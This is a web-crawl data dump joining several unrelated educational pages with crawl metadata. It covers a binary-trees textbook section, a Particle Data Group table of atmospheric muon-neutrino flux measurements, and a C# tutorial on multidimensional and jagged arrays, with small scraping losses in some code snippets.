"", null, "3, How LSTMs tackle exploding/vanishing gradients problems\n\n### Yasuto Tamura", null, "Data Science Intern at DATANOMIQ. Majoring in computer science. Currently studying mathematical sides of deep learning, such as densely connected layers, CNN, RNN, autoencoders, and making study materials on them. Also started aiming at Bayesian deep learning algorithms.\n\n0 replies" ]	[ null, "https://data-science-blog.com/wp-content/uploads/2020/09/chain_rule_1-1030x236.png", null, "https://data-science-blog.com/wp-content/uploads/2020/09/chain_rule_2-1030x340.png", null, "https://data-science-blog.com/wp-content/uploads/2020/09/chain_rule_3-1030x398.png", null, "https://data-science-blog.com/wp-content/uploads/2020/07/simple_rnn_backprop_flow_3-1030x744.png", null, "https://data-science-blog.com/wp-content/uploads/2020/09/lstm_backprop_6-1030x303.png", null, "https://data-science-blog.com/wp-content/uploads/2020/09/lstm_backprop_5-1030x614.png", null, "https://data-science-blog.com/wp-content/uploads/2020/09/lstm_backprop_4-1030x614.png", null, "https://data-science-blog.com/wp-content/uploads/2020/09/lstm_backprop_3-1030x566.png", null, "https://data-science-blog.com/wp-content/uploads/2020/09/lstm_backprop_2-1030x302.png", null, "https://data-science-blog.com/wp-content/uploads/2020/09/lstm_backprop_1-1030x612.png", null, "http://datasciencehack.com/wp-content/uploads/2020/03/index-80x80.png", null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.9370835,"math_prob":0.9714651,"size":3496,"snap":"2022-40-2023-06","text_gpt3_token_len":778,"char_repetition_ratio":0.11340206,"word_repetition_ratio":0.02020202,"special_character_ratio":0.21710527,"punctuation_ratio":0.09552239,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9984733,"pos_list":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22],"im_url_duplicate_count":[null,4,null,4,null,4,null,7,null,4,null,4,null,4,null,4,null,4,null,4,null,9,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-02-04T21:38:47Z\",\"WARC-Record-ID\":\"<urn:uuid:066422c7-fdf7-4c45-814b-db610ce16981>\",\"Content-Length\":\"107799\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:d4abf8b2-c8e1-4062-bf4e-5651ef951477>\",\"WARC-Concurrent-To\":\"<urn:uuid:320c5781-06a6-4cc5-b211-52e79d83e3c4>\",\"WARC-IP-Address\":\"85.25.214.207\",\"WARC-Target-URI\":\"http://datasciencehack.com/blog/2020/09/30/back-propagation-of-lstm/\",\"WARC-Payload-Digest\":\"sha1:MURQIIKPEGUY5PGGMV4VVZNH3KA3OPJS\",\"WARC-Block-Digest\":\"sha1:HOFIVCMMRG5BYOX62FUX3HWUYW23SQXP\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-06/CC-MAIN-2023-06_segments_1674764500154.33_warc_CC-MAIN-20230204205328-20230204235328-00844.warc.gz\"}"}
https://faculty.uml.edu/klevasseur/ads/s-binary-trees.html	[ "", null, "# Applied Discrete Structures\n\n## Section10.4Binary Trees\n\n### Subsection10.4.1Definition of a Binary Tree\n\nAn ordered rooted tree is a rooted tree whose subtrees are put into a definite order and are, themselves, ordered rooted trees. An empty tree and a single vertex with no descendants (no subtrees) are ordered rooted trees.\nThe trees in Figure 10.4.2 are identical rooted trees, with root 1, but as ordered trees, they are different.\nIf a tree rooted at $$v$$ has $$p$$ subtrees, we would refer to them as the first, second,..., $$p^{th}$$ subtrees. There is a subtle difference between certain ordered trees and binary trees, which we define next.\n\n#### Definition10.4.3.Binary Tree.\n\n1. A tree consisting of no vertices (the empty tree) is a binary tree\n2. A vertex together with two subtrees that are both binary trees is a binary tree. The subtrees are called the left and right subtrees of the binary tree.\nThe difference between binary trees and ordered trees is that every vertex of a binary tree has exactly two subtrees (one or both of which may be empty), while a vertex of an ordered tree may have any number of subtrees. But there is another significant difference between the two types of structures. The two trees in Figure 10.4.4 would be considered identical as ordered trees. However, they are different binary trees. Tree (a) has an empty right subtree and Tree (b) has an empty left subtree.\n\n### Subsection10.4.2Traversals of Binary Trees\n\nThe traversal of a binary tree consists of visiting each vertex of the tree in some prescribed order. Unlike graph traversals, the consecutive vertices that are visited are not always connected with an edge. The most common binary tree traversals are differentiated by the order in which the root and its subtrees are visited. The three traversals are best described recursively and are:\nPreorder Traversal:\n1. Visit the root of the tree.\n2. Preorder traverse the left subtree.\n3. Preorder traverse the right subtree.\nInorder Traversal:\n1. Inorder traverse the left subtree.\n2. Visit the root of the tree.\n3. Inorder traverse the right subtree.\nPostorder Traversal:\n1. Postorder traverse the left subtree.\n2. Postorder traverse the right subtree.\n3. Visit the root of the tree.\nAny traversal of an empty tree consists of doing nothing.\nFor the tree in Figure 10.4.7, the orders in which the vertices are visited are:\n• A-B-D-E-C-F-G, for the preorder traversal.\n• D-B-E-A-F-C-G, for the inorder traversal.\n• D-E-B-F-G-C-A, for the postorder traversal.\nBinary Tree Sort. Given a collection of integers (or other objects than can be ordered), one technique for sorting is a binary tree sort. If the integers are $$a_1\\text{,}$$ $$a_2, \\ldots \\text{,}$$ $$a_n\\text{,}$$ $$n\\geq 1\\text{,}$$ we first execute the following algorithm that creates a binary tree:\nIf the integers to be sorted are 25, 17, 9, 20, 33, 13, and 30, then the tree that is created is the one in Figure 10.4.9. The inorder traversal of this tree is 9, 13, 17, 20, 25, 30, 33, the integers in ascending order. In general, the inorder traversal of the tree that is constructed in the algorithm above will produce a sorted list. The preorder and postorder traversals of the tree have no meaning here.\n\n### Subsection10.4.3Expression Trees\n\nA convenient way to visualize an algebraic expression is by its expression tree. Consider the expression\n\\begin{equation} X = ab - c/d + e. \\end{equation}\nSince it is customary to put a precedence on multiplication/divisions, $$X$$ is evaluated as $$((ab) -(c/d)) + e\\text{.}$$ Consecutive multiplication/divisions or addition/subtractions are evaluated from left to right. We can analyze $$X$$ further by noting that it is the sum of two simpler expressions $$(ab) - (c/d)$$ and $$e\\text{.}$$ The first of these expressions can be broken down further into the difference of the expressions $$ab$$ and $$c/d\\text{.}$$ When we decompose any expression into $$(\\textrm{left expression})\\textrm{operation} (\\textrm{right expression})\\text{,}$$ the expression tree of that expression is the binary tree whose root contains the operation and whose left and right subtrees are the trees of the left and right expressions, respectively. Additionally, a simple variable or a number has an expression tree that is a single vertex containing the variable or number. The evolution of the expression tree for expression $$X$$ appears in Figure 10.4.10.\n1. If we intend to apply the addition and subtraction operations in $$X$$ first, we would parenthesize the expression to $$a(b - c)/(d + e)\\text{.}$$ Its expression tree appears in Figure 10.4.12(a).\n2. The expression trees for $$a^2-b^2$$ and for $$(a + b)(a - b)$$ appear in Figure 10.4.12(b) and Figure 10.4.12(c).\nThe three traversals of an operation tree are all significant. A binary operation applied to a pair of numbers can be written in three ways. One is the familiar infix form, such as $$a + b$$ for the sum of $$a$$ and $$b\\text{.}$$ Another form is prefix, in which the same sum is written $$+a b\\text{.}$$ The final form is postfix, in which the sum is written $$a b+\\text{.}$$ Algebraic expressions involving the four standard arithmetic operations $$(+,-,, \\text{and} /)$$ in prefix and postfix form are defined as follows:\nThe connection between traversals of an expression tree and these forms is simple:\n1. The preorder traversal of an expression tree will result in the prefix form of the expression.\n2. The postorder traversal of an expression tree will result in the postfix form of the expression.\n3. The inorder traversal of an operation tree will not, in general, yield the proper infix form of the expression. If an expression requires parentheses in infix form, an inorder traversal of its expression tree has the effect of removing the parentheses.\nThe preorder traversal of the tree in Figure 10.4.10 is $$+-ab/cd e\\text{,}$$ which is the prefix version of expression $$X\\text{.}$$ The postorder traversal is $$abcd/-e+\\text{.}$$ Note that since the original form of $$X$$ needed no parentheses, the inorder traversal, $$ab-c/d+e\\text{,}$$ is the correct infix version.\n\n### Subsection10.4.4Counting Binary Trees\n\nWe close this section with a formula for the number of different binary trees with $$n$$ vertices. The formula is derived using generating functions. Although the complete details are beyond the scope of this text, we will supply an overview of the derivation in order to illustrate how generating functions are used in advanced combinatorics.\nLet $$B(n)$$ be the number of different binary trees of size $$n$$ ($$n$$ vertices), $$n \\geq 0\\text{.}$$ By our definition of a binary tree, $$B(0) = 1\\text{.}$$ Now consider any positive integer $$n + 1\\text{,}$$ $$n \\geq 0\\text{.}$$ A binary tree of size $$n + 1$$ has two subtrees, the sizes of which add up to $$n\\text{.}$$ The possibilities can be broken down into $$n + 1$$ cases:\nCase 0: Left subtree has size 0; right subtree has size $$n\\text{.}$$\nCase 1: Left subtree has size 1; right subtree has size $$n - 1\\text{.}$$\n$$\\quad \\quad$$$$\\vdots$$\nCase $$k\\text{:}$$ Left subtree has size $$k\\text{;}$$ right subtree has size $$n - k\\text{.}$$\n$$\\quad \\quad$$$$\\vdots$$\nCase $$n\\text{:}$$ Left subtree has size $$n\\text{;}$$ right subtree has size 0.\nIn the general Case $$k\\text{,}$$ we can count the number of possibilities by multiplying the number of ways that the left subtree can be filled, $$B(k)\\text{,}$$ by the number of ways that the right subtree can be filled. $$B(n-k)\\text{.}$$ Since the sum of these products equals $$B(n + 1)\\text{,}$$ we obtain the recurrence relation for $$n\\geq 0\\text{:}$$\n\\begin{equation} \\begin{split} B(n+1) &= B(0)B(n)+ B(1)B(n-1)+ \\cdots + B(n)B(0)\\\\ &=\\sum_{k=0}^n B(k) B(n-k) \\end{split} \\end{equation}\nNow take the generating function of both sides of this recurrence relation:\n\\begin{gather} \\sum_{n=0}^{\\infty } B(n+1) z^n= \\sum_{n=0}^{\\infty } \\left(\\sum_{k=0}^n B(k) B(n-k)\\right)z^n\\tag{10.4.1} \\end{gather}\nor\n\\begin{gather} G(B\\uparrow ; z) = G(BB; z) = G(B; z) ^2\\tag{10.4.2} \\end{gather}\nRecall that $$G(B\\uparrow;z) =\\frac{G(B;z)-B(0)}{z}=\\frac{G(B;z)-1}{z}$$ If we abbreviate $$G(B; z)$$ to $$G\\text{,}$$ we get\n\\begin{equation} \\frac{G-1}{z}= G^2 \\Rightarrow z G^2- G + 1 = 0 \\end{equation}\nUsing the quadratic equation we find two solutions:\n\\begin{gather} G_1 = \\frac{1+\\sqrt{1-4 z}}{2z} \\textrm{ and}\\tag{10.4.3}\\\\ G_2 = \\frac{1-\\sqrt{1-4 z}}{2z}\\tag{10.4.4} \\end{gather}\nThe gap in our derivation occurs here since we don’t presume a knowledge of calculus. If we expand $$G_1$$ as an extended power series, we find\n\\begin{gather} G_1 = \\frac{1+\\sqrt{1-4 z}}{2z}=\\frac{1}{z}-1-z-2 z^2-5 z^3-14 z^4-42 z^5+\\cdots\\tag{10.4.5} \\end{gather}\nThe coefficients after the first one are all negative and there is a singularity at 0 because of the $$\\frac{1}{z}$$ term. However if we do the same with $$G_2$$ we get\n\\begin{gather} G_2= \\frac{1-\\sqrt{1-4 z}}{2z} = 1+z+2 z^2+5 z^3+14 z^4+42 z^5+\\cdots\\tag{10.4.6} \\end{gather}\nFurther analysis leads to a closed form expression for $$B(n)\\text{,}$$ which is\n\\begin{equation} B(n) = \\frac{1}{n+1}\\left( \\begin{array}{c} 2n \\\\ n \\\\ \\end{array} \\right) \\end{equation}\nThis sequence of numbers is often called the Catalan numbers. For more information on the Catalan numbers, see the entry A000108 in The On-Line Encyclopedia of Integer Sequences 1 .\n\n### Subsection10.4.5SageMath Note - Power Series\n\nIt may be of interest to note how the extended power series expansions of $$G_1$$ and $$G_2$$ are determined using Sage. In Sage, one has the capability of being very specific about how algebraic expressions should be interpreted by specifying the underlying ring. This can make working with various algebraic expressions a bit more confusing to the beginner. Here is how to get a Laurent expansion for $$G_1$$ above.\nR.<z>=PowerSeriesRing(ZZ,'z')\nG1=(1+sqrt(1-4z))/(2z)\nG1\n\nThe first Sage expression above declares a structure called a ring that contains power series. We are not using that whole structure, just a specific element, G1. So the important thing about this first input is that it establishes z as being a variable associated with power series over the integers. When the second expression defines the value of G1 in terms of z, it is automatically converted to a power series.\nThe expansion of $$G_2$$ uses identical code, and its coefficients are the values of $$B(n)\\text{.}$$\nR.<z>=PowerSeriesRing(ZZ,'z')\nG2=(1-sqrt(1-4z))/(2z)\nG2\n\nIn Chapter 16 we will introduce rings and will be able to take further advantage of Sage’s capabilities in this area.\n\n### Exercises10.4.6Exercises\n\n#### 1.\n\nDraw the expression trees for the following expressions:\n1. $$\\displaystyle a(b + c)$$\n2. $$\\displaystyle a b + c$$\n3. $$\\displaystyle a b + a c$$\n4. $$\\displaystyle b b - 4 a c$$\n5. $$\\displaystyle \\left(\\left(a_3 x + a_2\\right)x +a_1\\right)x + a_0$$\n\n#### 2.\n\nDraw the expression trees for\n1. $$\\displaystyle \\frac{x^2-1}{x-1}$$\n2. $$\\displaystyle x y + x z + y z$$\n\n#### 3.\n\nWrite out the preorder, inorder, and postorder traversals of the trees in Exercise 1 above.\n\\begin{equation} \\begin{array}{cccc} & \\text{Preorder} & \\text{Inorder} & \\text{Postorder} \\\\ (a) & \\cdot a + b c & a\\cdot b+c & a b c + \\cdot \\\\ (b) & +\\cdot a b c & a\\cdot b+c & a b\\cdot c+ \\\\ (c) & +\\cdot a b\\cdot a c & a\\cdot b+a\\cdot c & a b\\cdot a c\\cdot + \\\\ \\end{array} \\end{equation}\n\n#### 4.\n\nVerify the formula for $$B(n)\\text{,}$$ $$0 \\leq n \\leq 3$$ by drawing all binary trees with three or fewer vertices.\n\n#### 5.\n\n1. Draw a binary tree with seven vertices and only one leaf. Your answer won’t be unique. How many different possible answers are there?\n2. Draw a binary tree with seven vertices and as many leaves as possible.\nThere are $$2^6=64$$ different possible answers to part (a). The answer to (b) is unique.\n\n#### 6.\n\nProve that the maximum number of vertices at level $$k$$ of a binary tree is $$2^k$$ and that a tree with that many vertices at level $$k$$ must have $$2^{k+1}-1$$ vertices.\n\n#### 7.\n\nProve that if $$T$$ is a full binary tree, then the number of leaves of $$T$$ is one more than the number of internal vertices (non-leaves).\nSolution 1:\nBasis: A binary tree consisting of a single vertex, which is a leaf, satisfies the equation $$\\text{leaves} = \\textrm{internal vertices} + 1$$\nInduction:Assume that for some $$k\\geq 1\\text{,}$$ all full binary trees with $$k$$ or fewer vertices have one more leaf than internal vertices. Now consider any full binary tree with $$k+1$$ vertices. Let $$T_A$$ and $$T_B$$ be the left and right subtrees of the tree which, by the definition of a full binary tree, must both be full. If $$i_A$$ and $$i_B$$ are the numbers of internal vertices in $$T_A$$ and $$T_B\\text{,}$$ and $$j_A$$ and $$j_B$$ are the numbers of leaves, then $$j_A=i_A+1$$ and $$j_B=i_B+1\\text{.}$$ Therefore, in the whole tree,\n\\begin{equation} \\begin{split} \\textrm{the number of leaves} & =j_A+j_B\\\\ &=\\left(i_A+1\\right)+\\left(i_B+1\\right)\\\\ &=\\left(i_A+i_B+1\\right)+1\\\\ &=(\\textrm{number of internal vertices})+1 \\end{split} \\end{equation*}\nSolution 2:\nImagine building a full binary tree starting with a single vertex. By continuing to add leaves in pairs so that the tree stays full, we can build any full binary tree. Our starting tree satisfies the condition that the number of leaves is one more than the number of internal vertices . By adding a pair of leaves to a full binary tree, an old leaf becomes an internal vertex, increasing the number of internal vertices by one. Although we lose a leaf, the two added leaves create a net increase of one leaf. Therefore, the desired equality is maintained.\n\n#### 8.\n\nThere is a one to one correspondence between ordered rooted trees and binary trees. If you start with an ordered rooted tree, $$T\\text{,}$$ you can build a binary tree $$B$$ with an empty right subtree by placing the the root of $$T$$ at the root of $$B\\text{.}$$ Then for every vertex $$v$$ from $$T$$ that has been placed in $$B\\text{,}$$ place it’s leftmost child (if there is one) as $$v$$’s left child in $$B\\text{.}$$ Make $$v$$’s next sibling (if there is one) in $$T$$ the right child in $$B\\text{.}$$", null, "Figure 10.4.18. An ordered rooted tree with root $$r\\text{.}$$\n1. Why will $$B$$ have no right children in this correspondence?\n1. The root of $$B$$ is the root of the corresponding ordered rooted tree, which as no siblings.\n4. The number of ordered rooted trees with $$n$$ vertices is equal to the number of binary trees with $$n-1$$ vertices, $$\\frac{1}{n} \\binom{2(n-1)}{n-1}$$\noeis.org" ]	[ null, "http://discretemath.org/images/ads_v3_cover.jpg", null, "https://faculty.uml.edu/klevasseur/ads/images/fig-ex-ordered-tree.png", null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.84586364,"math_prob":0.9997869,"size":15540,"snap":"2023-40-2023-50","text_gpt3_token_len":4433,"char_repetition_ratio":0.16741762,"word_repetition_ratio":0.047829583,"special_character_ratio":0.30032176,"punctuation_ratio":0.10752,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.999984,"pos_list":[0,1,2,3,4],"im_url_duplicate_count":[null,null,null,1,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-11-28T09:09:14Z\",\"WARC-Record-ID\":\"<urn:uuid:14b72c27-b8ec-40dc-bf69-8ad390c830a4>\",\"Content-Length\":\"146725\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:23f77997-87fa-4a8c-9b98-abff6329f1e4>\",\"WARC-Concurrent-To\":\"<urn:uuid:06866278-5592-4af5-b8d5-377b3ce516d0>\",\"WARC-IP-Address\":\"129.63.91.88\",\"WARC-Target-URI\":\"https://faculty.uml.edu/klevasseur/ads/s-binary-trees.html\",\"WARC-Payload-Digest\":\"sha1:FPTF4FZULYJL7E3IWLAW572ZRNRIMURM\",\"WARC-Block-Digest\":\"sha1:JDTHOIATXIE45OTYZVLQ4DTWPUHYUBDL\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-50/CC-MAIN-2023-50_segments_1700679099281.67_warc_CC-MAIN-20231128083443-20231128113443-00544.warc.gz\"}"}
http://pdglive.lbl.gov/DataBlock.action?node=S067DU1	[ "# R(${{\\boldsymbol \\nu}_{{\\mu}}}$) = (Measured Flux of ${{\\boldsymbol \\nu}_{{\\mu}}}$) $/$ (Expected Flux of ${{\\boldsymbol \\nu}_{{\\mu}}}$) INSPIRE search\n\nVALUE DOCUMENT ID TECN COMMENT\n• • • We do not use the following data for averages, fits, limits, etc. • • •\n$0.84$ $\\pm0.12$ 1\n 2006\nMINS MINOS atmospheric\n$0.72$ $\\pm0.026$ $\\pm0.13$ 2\n 2001\nMCRO upward through-going\n$0.57$ $\\pm0.05$ $\\pm0.15$ 3\n 2000\nMCRO upgoing partially contained\n$0.71$ $\\pm0.05$ $\\pm0.19$ 4\n 2000\nMCRO downgoing partially contained + upgoing stopping\n$0.74$ $\\pm0.036$ $\\pm0.046$ 5\n 1998\nMCRO Streamer tubes\n6\n 1991\nIMB Water Cherenkov\n7\n 1989\nNUSX\n$0.95$ $\\pm0.22$ 8\n 1981\nBaksan\n$0.62$ $\\pm0.17$\n 1978\nCase Western/UCI\n1 ADAMSON 2006 uses a measurement of 107 total neutrinos compared to an expected rate of $127$ $\\pm13$ without oscillations.\n2 AMBROSIO 2001 result is based on the upward through-going muon tracks with $\\mathit E_{{{\\mathit \\mu}}}>1$ GeV. The data came from three different detector configurations, but the statistics is largely dominated by the full detector run, from May 1994 to December 2000. The total live time, normalized to the full detector configuration, is $6.17$ years. The first error is the statistical error, the second is the systematic error, dominated by the theoretical error in the predicted flux.\n3 AMBROSIO 2000 result is based on the upgoing partially contained event sample. It came from 4.1 live years of data taking with the full detector, from April 1994 to February 1999. The average energy of atmospheric muon neutrinos corresponding to this sample is 4$~$GeV. The first error is statistical, the second is the systematic error, dominated by the 25$\\%$ theoretical error in the rate (20$\\%$ in the flux and 15$\\%$ in the cross section, added in quadrature). Within statistics, the observed deficit is uniform over the zenith angle.\n4 AMBROSIO 2000 result is based on the combined samples of downgoing partially contained events and upgoing stopping events. These two subsamples could not be distinguished due to the lack of timing information. The result came from 4.1 live years of data taking with the full detector, from April 1994 to February 1999. The average energy of atmospheric muon neutrinos corresponding to this sample is 4$~$GeV. The first error is statistical, the second is the systematic error, dominated by the 25$\\%$ theoretical error in the rate (20$\\%$ in the flux and 15$\\%$ in the cross section, added in quadrature). Within statistics, the observed deficit is uniform over the zenith angle.\n5 AMBROSIO 1998 result is for all nadir angles and updates AHLEN 1995 result. The lower cutoff on the muon energy is 1$~$GeV. In addition to the statistical and systematic errors, there is a Monte Carlo flux error (theoretical error) of $\\pm0.13$. With a neutrino oscillation hypothesis, the fit either to the flux or zenith distribution independently yields sin$^22\\theta =1.0$ and $\\Delta \\mathit m{}^{2}\\sim{}$ a few times $10^{-3}$ eV${}^{2}$. However, the fit to the observed zenith distribution gives a maximum probability for $\\chi {}^{2}$ of only 5$\\%$ for the best oscillation hypothesis.\n6 CASPER 1991 correlates showering/nonshowering signature of single-ring events with parent atmospheric-neutrino flavor. They find nonshowering ($\\approx{}{{\\mathit \\nu}_{{\\mu}}}$ induced) fraction is $0.41$ $\\pm0.03$ $\\pm0.02$, as compared with expected $0.51$ $\\pm0.05$ (syst).\n7 AGLIETTA 1989 finds no evidence for any anomaly in the neutrino flux. They define $\\rho$ = (measured number of ${{\\mathit \\nu}_{{e}}}$'s)/(measured number of ${{\\mathit \\nu}_{{\\mu}}}$'s). They report $\\rho$(measured)=$\\rho$(expected) = $0.96$ ${}^{+0.32}_{-0.28}$.\n8 From this data BOLIEV 1981 obtain the limit $\\Delta \\mathit m{}^{2}{}\\leq{}$ $6 \\times 10^{-3}$ eV${}^{2}$ for maximal mixing, ${{\\mathit \\nu}_{{\\mu}}}$ $\\nrightarrow$ ${{\\mathit \\nu}_{{\\mu}}}$ type oscillation.\nReferences:\nPR D73 072002 First Observations of Separated Atmospheric ${{\\mathit \\nu}_{{\\mu}}}$ and ${{\\overline{\\mathit \\nu}}_{{\\mu}}}$ Events in the MINOS Detector\n AMBROSIO 2001\nPL B517 59 Matter Effects in Upward Going Muons and Sterile Neutrino Oscillations\n AMBROSIO 2000\nPL B478 5 Low Energy Atmospheric Muon Neutrinos in MACRO\n AMBROSIO 1998\nPL B434 451 Measurement of the Atmospheric Neutrino Induced Upgoing Muon Flux using MACRO\n CASPER 1991\nPRL 66 2561 Measurement of Atmospheric Neutrino Composition with IMB-3\n AGLIETTA 1989\nEPL 8 611 Experimental Study of Atmospheric Neutrino Flux in the NUSEX Experiment\n BOLIEV 1981\nSJNP 34 787 Limitations on Parameters of Neutrino Oscillations According to Data of Baksan Underground Telescope\n CROUCH 1978\nPR D18 2239 Cosmic Ray Muon Fluxes Deep Underground: Intensity vs Depth, and the Neutrino Induced Component" ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.8497691,"math_prob":0.9962976,"size":3561,"snap":"2020-24-2020-29","text_gpt3_token_len":1062,"char_repetition_ratio":0.11639021,"word_repetition_ratio":0.284153,"special_character_ratio":0.3386689,"punctuation_ratio":0.1235119,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99508613,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-07-03T14:08:14Z\",\"WARC-Record-ID\":\"<urn:uuid:67f038f4-4726-41bb-9a4c-ab9737d33fe2>\",\"Content-Length\":\"48388\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:200b01bc-d39c-4334-866c-b7af8894a8bc>\",\"WARC-Concurrent-To\":\"<urn:uuid:e68d8375-cd22-46f4-8463-88626bf564c1>\",\"WARC-IP-Address\":\"128.3.28.110\",\"WARC-Target-URI\":\"http://pdglive.lbl.gov/DataBlock.action?node=S067DU1\",\"WARC-Payload-Digest\":\"sha1:WWZKZXKFKNEDZ5BP3ENVMCJQ5GRAMAXN\",\"WARC-Block-Digest\":\"sha1:AGJFZ7US4B4CPLI5OBRN5IPJ67YLLJJ6\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-29/CC-MAIN-2020-29_segments_1593655882051.19_warc_CC-MAIN-20200703122347-20200703152347-00012.warc.gz\"}"}
https://www.softwaretestinghelp.com/c-sharp/multi-dimensional-and-jagged-arrays-in-csharp/	[ "# MultiDimensional Arrays And Jagged Arrays In C#\n\nThis Tutorial Explains All About Multidimensional Arrays & Jagged Arrays in C# With Examples. Multidimensional arrays are also known as Rectangular Arrays:\n\nWe explored all about Arrays and Single Dimensional Arrays in our previous tutorial.\n\nIn this tutorial, we will learn about Multi-Dimensional Arrays and Jagged Arrays in C# in detail along with examples.\n\n=> Explore Our In-Depth C# Training Tutorials Here\n\n## C# Multi-Dimensional Arrays\n\nMulti-dimensional arrays are also known as rectangular arrays. Multi-dimensional arrays can be further classified into two or three-dimensional arrays.\n\nUnlike single-dimensional arrays where data is stored in a liner sequential manner, a multi-dimensional array stores data in tabular format i.e. in the form of rows and columns. This tabular arrangement of data is also known as a matrix.\n\n### 2-Dimensional Arrays\n\nThe simplest form of multidimensional array is a two-dimensional array. A two-dimensional array can be formed by stacking several one-dimensional arrays together. The following figure will help in understanding the concept better.", null, "The above image is a graphical representation of how the 2-dimensional array looks like. It is denoted by having a row and column. Hence, each building block of the two-dimensional array will be made up of the index representing row number and column number.\n\nMultidimensional arrays are declared like the single-dimensional array with the only difference being the inclusion of comma inside the square bracket to represent rows, columns, etc.\n\n`string[ , ] strArray = new string[2,2];`\n\nNow, let’s have a look at an example to initialize a two-dimensional array.\n\nA 2-D array is declared by\n\n```string [ , ] fruitArray = new string [2,2] {\n{“apple” , “mango”} , /* values for row indexed by 0 /\n{“orange”, “banana”} , / values for row indexed by 1 /\n};\n```\n\nFor Example, let’s say if my array element has “i” row and “j” column then we can access it by using the following index array[i, j].\n\n```string [ , ] fruitArray = new string [2,2] {\n{“apple” , “mango”} , / values for row indexed by 0 /\n{“orange”, “banana”} , / values for row indexed by 1 /\n};\n/ output for the elements present in array/\nfor (int i = 0; i < 2; i++) {\nfor (int j = 0; j < 2; j++) {\nConsole.WriteLine(\"fruitArray[{0},{1}] = {2}\", i, j, fruitArray[i,j]);\n}\n}\nConsole.ReadKey();\n```\n\nThe output of the following program will be:\n\nfruitArray[0,0] = apple\nfruitArray[0,1] = mango\nfruitArray[1,0] = orange\nfruitArray[1,1] = banana\n\nExplanation:\n\nThe first part of the program is the Array declaration. We declared a string type array of row size 2 and column size 2. In the next part, we tried to access the array using for loop.\n\nWe have used a nested for loop for accessing the values. The outer for loop provides the row number i.e. it will start with the “zeroth” row and then move ahead. The inner for loop defines the column number. With each row number passed by the first for loop, the second for loop will assign a column number and access the data from the cell.\n\n## Jagged Arrays In C#\n\nAnother type of array that is available with C# is a Jagged Array. A jagged array can be defined as an array consisting of arrays. The jagged arrays are used to store arrays instead of other data types.\n\nA jagged array can be initialized by using two square brackets, where the first square bracket denotes the size of the array that is being defined and the second bracket denotes the array dimension that is going to be stored inside the jagged array.\n\n### Jagged Array Declaration\n\nAs discussed a jagged array can be initialized by the following syntax:\n\n`string[ ][ ] stringArr = new string[ ];`\n\nA jagged array can store multiple arrays with different lengths. We can declare an array of length 2 and another array of length 5 and both of these can be stored in the same jagged array.\n\n### Filling Element Inside Jagged Array\n\nLets first initialize a Jagged Array.\n\n```arrayJag = new string ;\narrayJag = new string ;```\n\nIn the above example, we have initialized a string type jagged array with index “0” and “1” containing an array of size defined inside the square bracket. The 0th index contains a string type array of length 2 and the index “1” contains a string type array of length 3.\n\nThis was how we initialize an array. Let’s now initialize and put values inside a jagged array.\n\n```arrayJag = new string {“apple”, “mango”};\narrayJag = new string {“orange”, “banana”, “guava”};```\n\nHence, as shown in the above example, the jagged array can also be declared with values. To add values, we place a curly bracket after the declared jagged array with the list of values.\n\nIt is also possible to initialize the jagged array while declaring it.\n\nThis can be done by using the following approach.\n\n```string[][] jaggedArray = new string [] {\nnew string[] {“apple”, “mango”},\nnew string[] {“orange”, “banana”, “guava”}\n};\n```\n\nIn the above example, we defined a Jagged array with name “jaggedArray” with size 2 and then inside the curly bracket we defined and declared its constituent arrays.\n\n### Retrieve Data From A Jagged Array\n\nUntil now we learned about putting data inside a Jagged array. Now, we will discuss the method to retrieve data from a Jagged array. We will use the same example that we discussed earlier and will try to retrieve all the data from that array.\n\n```string[][] jaggedArray = new string [] {\nnew string[] {“apple”, “mango”},\nnew string[] {“orange”, “banana”, “guava”}\n};\n/ retrieve value from each array element */\nfor (int i = 0; i < jaggedArray.Length; i++) {\nfor (int j = 0; j < jaggedArray[i].Length; j++) {\nConsole.Write(jaggedArray[i][j]+ “ ”);\n}\nConsole.WriteLine();\n}\nConsole.ReadKey();\n```\n\nThe output of the following program will be:\n\napple mango\norange banana guava\n\nExplanation:\n\nWe used two for loops to transverse through the elements. The first for loop defined the index for the Jagged array. Another nested for loop was used to transverse through the array present in the given jagged array index, then we printed the result to console.\n\nPoints to Remember:\n\n• A jagged array is an array of arrays. i.e. it stores arrays as its values.\n• The jagged array will throw out of range exception if the specified index doesn’t exist.\n\n## Conclusion\n\nIn this tutorial, we learned about Jagged and Multidimensional arrays in C#. We learned how to declare and initialize a two-dimensional array. We also created a simple program to retrieve data from a two-dimensional array.\n\nThen we discussed in detail about Jagged array, which is an array of arrays.\n\nA Jagged array is unique in itself as it stores arrays as values. Jagged arrays are quite similar to other arrays with the only difference being the type of value it stores.\n\n=> FREE C# Training Tutorials For All" ]	[ null, "data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%20444%20234'%3E%3C/svg%3E", null ]	